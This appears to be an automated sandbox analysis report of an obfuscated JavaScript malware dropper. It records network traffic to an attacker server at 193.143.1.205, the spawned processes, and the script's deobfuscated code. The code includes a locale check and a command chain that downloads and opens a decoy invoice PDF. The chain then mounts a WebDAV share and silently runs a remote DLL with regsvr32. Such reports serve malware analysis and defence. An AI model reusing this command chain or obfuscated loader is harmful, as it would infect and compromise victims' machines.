Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:49:53.128398895 CET	192.168.2.10	1.1.1.1	0x3866	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:49:53.136234999 CET	1.1.1.1	192.168.2.10	0x3866	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:49:53.822074890 CET	1.1.1.1	192.168.2.10	0x69c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:49:53.822074890 CET	1.1.1.1	192.168.2.10	0x69c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49727	193.143.1.205	80	724	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:49:42.398159981 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 19:49:43.204353094 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:49:43 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 [TRUNCATED] Data Ascii: f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponent [TRUNCATED]
Jan 10, 2025 19:49:43.204396009 CET	224	IN	Data Raw: 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 20 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 19:49:43.204449892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 19:49:43.204521894 CET	1236	IN	Data Raw: 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 f6 Data Ascii: o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 19:49:43.204550982 CET	211	IN	Data Raw: ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeS
Jan 10, 2025 19:49:43.204600096 CET	1236	IN	Data Raw: 32 30 30 30 0d 0a fd f9 d9 43 da 94 cb b1 a1 3b 69 ea 9b 13 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce Data Ascii: 2000C;i4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 19:49:43.204633951 CET	1236	IN	Data Raw: 6d 0c bd 7c bc 0e 63 e8 23 31 74 2a 53 df 9c 00 00 00 a6 c1 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf Data Ascii: m\|c#1t*SKvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs
Jan 10, 2025 19:49:43.204667091 CET	448	IN	Data Raw: 81 69 5f cd 4a ab bc 8e e5 d7 6e 95 df b4 70 a7 1d 7d 51 c2 df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 Data Ascii: i_Jnp}QqZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12C
Jan 10, 2025 19:49:43.204708099 CET	1236	IN	Data Raw: 3c 30 f4 21 1d 18 fa 74 7b db e4 c8 f6 c0 d0 26 86 9e 9f b5 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f Data Ascii: <0!t{&1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 10, 2025 19:49:43.204752922 CET	1236	IN	Data Raw: 83 a3 34 20 13 6d 73 95 4a 27 aa b0 f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 Data Ascii: 4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)k
Jan 10, 2025 19:49:43.210160971 CET	1236	IN	Data Raw: 00 60 1a 7c b1 04 00 db e1 6f ad 3e 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 Data Ascii: `\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49744	193.143.1.205	8888	5828	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:49:44.907843113 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 19:49:45.722670078 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:49:45 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	13:49:38
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1446217142313155154.js"
Imagebase:	0x7ff6f2430000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:49:38
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll
Imagebase:	0x7ff6f7c80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:49:38
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:49:38
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:49:43
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:49:43
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f7c80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:49:43
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff719fb0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:49:44
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:49:44
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:49:44
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1648,i,2189747956658649784,4127867382549663690,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function bmyqmq() {	bmyqmq() ➔ undefined
1	gdjicyjr = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ipdrkhtq = this[pnjpgt + ypiszc + hlwum + fbihvyo + domaui + tdqmrwiqi + tifeaxudf + mbrmwawa] ( this[amylupcpn + xozmzks + mxvzfqbkf + hlwum + hzgxnu + pnjpgt + mbrmwawa][yzxlrsanb + hlwum + domaui + ypiszc + mbrmwawa + domaui + szlnoby + kmhvzbg + hriepvkd + domaui + mxvzfqbkf + mbrmwawa] ( amylupcpn + xozmzks + mxvzfqbkf + hlwum + hzgxnu + pnjpgt + mbrmwawa + usdldr + xozmzks + obogabw + domaui + wxlodxo + wxlodxo ) [vqmihxq + domaui + xlaof + vqmihxq + domaui + ypiszc + tndyixhm] ( jjinkq + orkfibqr + tocjng + pzlrtuh + isjwt + yzxlrsanb + oingwlvtl + vqmihxq + vqmihxq + tocjng + cijqaftjm + tvqfl + isjwt + oingwlvtl + xozmzks + tocjng + vqmihxq + feialhxs + yzxlrsanb + bkmfjntn + tifeaxudf + mbrmwawa + hlwum + bkmfjntn + wxlodxo + cbqgbudw + lvousipx + ypiszc + tifeaxudf + domaui + wxlodxo + feialhxs + tdqmrwiqi + tifeaxudf + mbrmwawa + domaui + hlwum + tifeaxudf + ypiszc + mbrmwawa + hzgxnu + bkmfjntn + tifeaxudf + ypiszc + wxlodxo + feialhxs + vloomphcl + bkmfjntn + mxvzfqbkf + ypiszc + wxlodxo + domaui ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jhknd = 0 ; jhknd < gdjicyjr[wxlodxo + domaui + tifeaxudf + xlaof + mbrmwawa + obogabw] ; ++ jhknd )
4	{
5	if ( ipdrkhtq == gdjicyjr[jhknd] )
6	{
7	ipdrkhtq = true;
8	break ;
9	}
10	}
11	if ( ipdrkhtq !== true )
12	this[amylupcpn + xozmzks + mxvzfqbkf + hlwum + hzgxnu + pnjpgt + mbrmwawa][phksv + rzvpe + hzgxnu + mbrmwawa] ( );
13	this[amylupcpn + xozmzks + mxvzfqbkf + hlwum + hzgxnu + pnjpgt + mbrmwawa][yzxlrsanb + hlwum + domaui + ypiszc + mbrmwawa + domaui + szlnoby + kmhvzbg + hriepvkd + domaui + mxvzfqbkf + mbrmwawa] ( amylupcpn + xozmzks + mxvzfqbkf + hlwum + hzgxnu + pnjpgt + mbrmwawa + usdldr + xozmzks + obogabw + domaui + wxlodxo + wxlodxo ) [hlwum + rzvpe + tifeaxudf] ( mxvzfqbkf + ntzwoiaf + tndyixhm + cbqgbudw + gzsgqyaus + mxvzfqbkf + cbqgbudw + pnjpgt + bkmfjntn + hhqeex + domaui + hlwum + fbihvyo + obogabw + domaui + wxlodxo + wxlodxo + usdldr + domaui + aixyc + domaui + cbqgbudw + ehozuxebn + yzxlrsanb + bkmfjntn + ntzwoiaf + ntzwoiaf + ypiszc + tifeaxudf + tndyixhm + cbqgbudw + psssl + tdqmrwiqi + tifeaxudf + jpmisvup + bkmfjntn + kssskm + domaui + ehozuxebn + amylupcpn + domaui + kmhvzbg + vqmihxq + domaui + rgoudyxue + rzvpe + domaui + fbihvyo + mbrmwawa + cbqgbudw + ehozuxebn + szlnoby + rzvpe + mbrmwawa + lnqtmnk + hzgxnu + wxlodxo + domaui + cbqgbudw + jeyoioheh + mbrmwawa + domaui + ntzwoiaf + pnjpgt + jeyoioheh + feialhxs + hzgxnu + tifeaxudf + jpmisvup + bkmfjntn + hzgxnu + mxvzfqbkf + domaui + usdldr + pnjpgt + tndyixhm + xvdap + cbqgbudw + obogabw + mbrmwawa + mbrmwawa + pnjpgt + pfqkljxv + gzsgqyaus + gzsgqyaus + cjlhtkgs + nheyyjp + hidovgwxz + usdldr + cjlhtkgs + wbfks + hidovgwxz + usdldr + cjlhtkgs + usdldr + oiqrfwi + zmaacln + zezcvyef + gzsgqyaus + hzgxnu + tifeaxudf + jpmisvup + bkmfjntn + hzgxnu + mxvzfqbkf + domaui + usdldr + pnjpgt + obogabw + pnjpgt + psssl + qjvoyvdu + qjvoyvdu + fbihvyo + mbrmwawa + ypiszc + hlwum + mbrmwawa + cbqgbudw + jeyoioheh + mbrmwawa + domaui + ntzwoiaf + pnjpgt + jeyoioheh + feialhxs + hzgxnu + tifeaxudf + jpmisvup + bkmfjntn + hzgxnu + mxvzfqbkf + domaui + usdldr + pnjpgt + tndyixhm + xvdap + qjvoyvdu + qjvoyvdu + mxvzfqbkf + ntzwoiaf + tndyixhm + cbqgbudw + gzsgqyaus + mxvzfqbkf + cbqgbudw + tifeaxudf + domaui + mbrmwawa + cbqgbudw + rzvpe + fbihvyo + domaui + cbqgbudw + feialhxs + feialhxs + cjlhtkgs + nheyyjp + hidovgwxz + usdldr + cjlhtkgs + wbfks + hidovgwxz + usdldr + cjlhtkgs + usdldr + oiqrfwi + zmaacln + zezcvyef + vcmdwyesw + rwwah + rwwah + rwwah + rwwah + feialhxs + tndyixhm + ypiszc + jpmisvup + hhqeex + hhqeex + hhqeex + hlwum + bkmfjntn + bkmfjntn + mbrmwawa + feialhxs + qjvoyvdu + qjvoyvdu + mxvzfqbkf + ntzwoiaf + tndyixhm + cbqgbudw + gzsgqyaus + mxvzfqbkf + cbqgbudw + hlwum + domaui + xlaof + fbihvyo + jpmisvup + hlwum + hidovgwxz + oiqrfwi + cbqgbudw + gzsgqyaus + fbihvyo + cbqgbudw + feialhxs + feialhxs + cjlhtkgs + nheyyjp + hidovgwxz + usdldr + cjlhtkgs + wbfks + hidovgwxz + usdldr + cjlhtkgs + usdldr + oiqrfwi + zmaacln + zezcvyef + vcmdwyesw + rwwah + rwwah + rwwah + rwwah + feialhxs + tndyixhm + ypiszc + jpmisvup + hhqeex + hhqeex + hhqeex + hlwum + bkmfjntn + bkmfjntn + mbrmwawa + feialhxs + cjlhtkgs + zezcvyef + cjlhtkgs + cjlhtkgs + nheyyjp + oiqrfwi + ktvoktwh + rwwah + ktvoktwh + oiqrfwi + rwwah + zezcvyef + ktvoktwh + rwwah + usdldr + tndyixhm + wxlodxo + wxlodxo, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll",0,false) ➔ 0
14	}
15	tocjng = "f";
16	tocjng = "W";
17	tocjng = "i";
18	tocjng = "X";
19	tocjng = "Q";
20	tocjng = "B";
21	tocjng = "U";
22	tocjng = "i";
23	tocjng = "r";
24	tocjng = "l";
25	tocjng = "L";
26	tocjng = "t";
27	tocjng = "U";
28	tocjng = "t";
29	tocjng = "R";
30	tocjng = "P";
31	tocjng = "A";
32	tocjng = "s";
33	tocjng = "g";
34	tocjng = "Z";
35	tocjng = "x";
36	tocjng = "n";
37	tocjng = "A";
38	tocjng = "h";
39	tocjng = "M";
40	tocjng = "b";
41	tocjng = "G";
42	tocjng = "j";
43	tocjng = "V";
44	tocjng = "J";
45	tocjng = "X";
46	tocjng = "d";
47	tocjng = "H";
48	tocjng = "S";
49	tocjng = "j";
50	tocjng = "f";
51	tocjng = "E";
52	orkfibqr = "f";
53	orkfibqr = "s";
54	orkfibqr = "y";
55	orkfibqr = "S";
56	orkfibqr = "n";
57	orkfibqr = "G";
58	orkfibqr = "c";
59	orkfibqr = "T";
60	orkfibqr = "G";
61	orkfibqr = "m";
62	orkfibqr = "D";
63	orkfibqr = "n";
64	orkfibqr = "S";
65	orkfibqr = "E";
66	orkfibqr = "F";
67	orkfibqr = "l";
68	orkfibqr = "e";
69	orkfibqr = "i";
70	orkfibqr = "u";
71	orkfibqr = "n";
72	orkfibqr = "d";
73	orkfibqr = "M";
74	orkfibqr = "g";
75	orkfibqr = "c";
76	orkfibqr = "M";
77	orkfibqr = "J";
78	orkfibqr = "A";
79	orkfibqr = "K";
80	psssl = "e";
81	psssl = "S";
82	psssl = "J";
83	psssl = "z";
84	psssl = "\"";
85	phksv = "q";
86	phksv = "M";
87	phksv = "k";
88	phksv = "C";
89	phksv = "v";
90	phksv = "O";
91	phksv = "p";
92	phksv = "T";
93	phksv = "s";
94	phksv = "V";
95	phksv = "Q";
96	phksv = "i";
97	phksv = "W";
98	phksv = "k";
99	phksv = "Z";
100	phksv = "h";
101	phksv = "n";
102	phksv = "g";
103	phksv = "y";
104	phksv = "t";
105	phksv = "n";
106	phksv = "G";
107	phksv = "Q";
108	wbfks = "j";
109	wbfks = "U";
110	wbfks = "O";
111	wbfks = "n";
112	wbfks = "o";
113	wbfks = "c";
114	wbfks = "I";
115	wbfks = "4";
116	rzvpe = "F";
117	rzvpe = "t";
118	rzvpe = "F";
119	rzvpe = "g";
120	rzvpe = "j";
121	rzvpe = "t";
122	rzvpe = "Z";
123	rzvpe = "K";
124	rzvpe = "j";
125	rzvpe = "V";
126	rzvpe = "W";
127	rzvpe = "d";
128	rzvpe = "H";
129	rzvpe = "t";
130	rzvpe = "k";
131	rzvpe = "W";
132	rzvpe = "d";
133	rzvpe = "D";
134	rzvpe = "s";
135	rzvpe = "w";
136	rzvpe = "j";
137	rzvpe = "Z";
138	rzvpe = "K";
139	rzvpe = "L";
140	rzvpe = "W";
141	rzvpe = "v";
142	rzvpe = "R";
143	rzvpe = "Y";
144	rzvpe = "d";
145	rzvpe = "R";
146	rzvpe = "u";
147	rzvpe = "Y";
148	rzvpe = "c";
149	rzvpe = "Q";
150	rzvpe = "O";
151	rzvpe = "a";
152	rzvpe = "E";
153	rzvpe = "b";
154	rzvpe = "b";
155	rzvpe = "b";
156	rzvpe = "u";
157	rzvpe = "H";
158	rzvpe = "u";
159	ktvoktwh = "N";
160	ktvoktwh = "7";
161	tndyixhm = "v";
162	tndyixhm = "e";
163	tndyixhm = "m";
164	tndyixhm = "e";
165	tndyixhm = "V";
166	tndyixhm = "M";
167	tndyixhm = "c";
168	tndyixhm = "g";
169	tndyixhm = "X";
170	tndyixhm = "e";
171	tndyixhm = "m";
172	tndyixhm = "f";
173	tndyixhm = "o";
174	tndyixhm = "u";
175	tndyixhm = "r";
176	tndyixhm = "e";
177	tndyixhm = "K";
178	tndyixhm = "k";
179	tndyixhm = "p";
180	tndyixhm = "T";
181	tndyixhm = "d";
182	gzsgqyaus = "o";
183	gzsgqyaus = "O";
184	gzsgqyaus = "e";
185	gzsgqyaus = "C";
186	gzsgqyaus = "L";
187	gzsgqyaus = "v";
188	gzsgqyaus = "t";
189	gzsgqyaus = "Q";
190	gzsgqyaus = "F";
191	gzsgqyaus = "X";
192	gzsgqyaus = "S";
193	gzsgqyaus = "a";
194	gzsgqyaus = "z";
195	gzsgqyaus = "E";
196	gzsgqyaus = "c";
197	gzsgqyaus = "v";
198	gzsgqyaus = "o";
199	gzsgqyaus = "q";
200	gzsgqyaus = "A";
201	gzsgqyaus = "n";
202	gzsgqyaus = "P";
203	gzsgqyaus = "J";
204	gzsgqyaus = "A";
205	gzsgqyaus = "B";
206	gzsgqyaus = "L";
207	gzsgqyaus = "t";
208	gzsgqyaus = "F";
209	gzsgqyaus = "B";
210	gzsgqyaus = "A";
211	gzsgqyaus = "Q";
212	gzsgqyaus = "Z";
213	gzsgqyaus = "g";
214	gzsgqyaus = "j";
215	gzsgqyaus = "K";
216	gzsgqyaus = "r";
217	gzsgqyaus = "R";
218	gzsgqyaus = "Q";
219	gzsgqyaus = "O";
220	gzsgqyaus = "F";
221	gzsgqyaus = "f";
222	gzsgqyaus = "p";
223	gzsgqyaus = "B";
224	gzsgqyaus = "Y";
225	gzsgqyaus = "/";
226	mxvzfqbkf = "X";
227	mxvzfqbkf = "P";
228	mxvzfqbkf = "h";
229	mxvzfqbkf = "k";
230	mxvzfqbkf = "W";
231	mxvzfqbkf = "q";
232	mxvzfqbkf = "x";
233	mxvzfqbkf = "c";
234	domaui = "l";
235	domaui = "n";
236	domaui = "L";
237	domaui = "b";
238	domaui = "S";
239	domaui = "u";
240	domaui = "Z";
241	domaui = "j";
242	domaui = "C";
243	domaui = "G";
244	domaui = "A";
245	domaui = "r";
246	domaui = "k";
247	domaui = "Q";
248	domaui = "a";
249	domaui = "f";
250	domaui = "M";
251	domaui = "q";
